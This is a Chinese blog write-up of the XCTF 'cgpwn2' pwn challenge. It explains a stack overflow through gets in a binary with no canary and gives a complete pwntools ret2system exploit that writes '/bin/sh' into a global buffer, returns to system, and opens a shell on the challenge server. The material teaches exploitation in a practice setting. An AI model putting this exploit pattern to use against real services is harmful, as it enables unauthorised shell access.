day-10 xctf-cgpwn2

xctf-cgpwn2

题目传送门:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5059&page=1

 

 

拿到题目,checksec,发现No canary found ,唔。。。。

 

 运行一下,大概功能是:输入名字,输入message,输出thank you

 

 

将其拉入ida查看,查看字符串,只发现了system,看来我们需要构造system('/bin/sh')

 

 查看主函数,调用了函数hello()

 

 查看一下hello()函数

 

 发现gets危险函数,着重注意。查看一下fgets中的name,地址为:0x804A080,这是一个固定的地址,或许可以修改这个位置的值为'/bin/sh

或许可以通过栈溢出的方式,返回system地址,然后调用这个修改过的name的参数地址,执行system('/bin/sh')

 

 

寻找system调用的地址,为0x8048420

 

 

点击&s查看到s占用的栈空间为38

 

 

 那么可以构造exp了:

 

from pwn import *

context.log_level = 'debug'

#cnn = ('./cgpwn2')
cnn = remote('111.198.29.45',37310)

#elf = ELF('./cgpwn2')

system_addr = 0x8048420

binsh_addr = 0x804A080

payload = 38*'a' + 4*'a' + p32(system_addr) + 'aaaa' + p32(binsh_addr)

cnn.sendlineafter('name\n','/bin/sh')

cnn.sendlineafter('here:\n',payload)

cnn.interactive()
exp

 

通过返回的shell,然后cat flag就能得到flag了

 

 

 

 

总结:无中生有

posted @ 2019-09-30 18:30  一点涵  阅读(412)  评论(0编辑  收藏  举报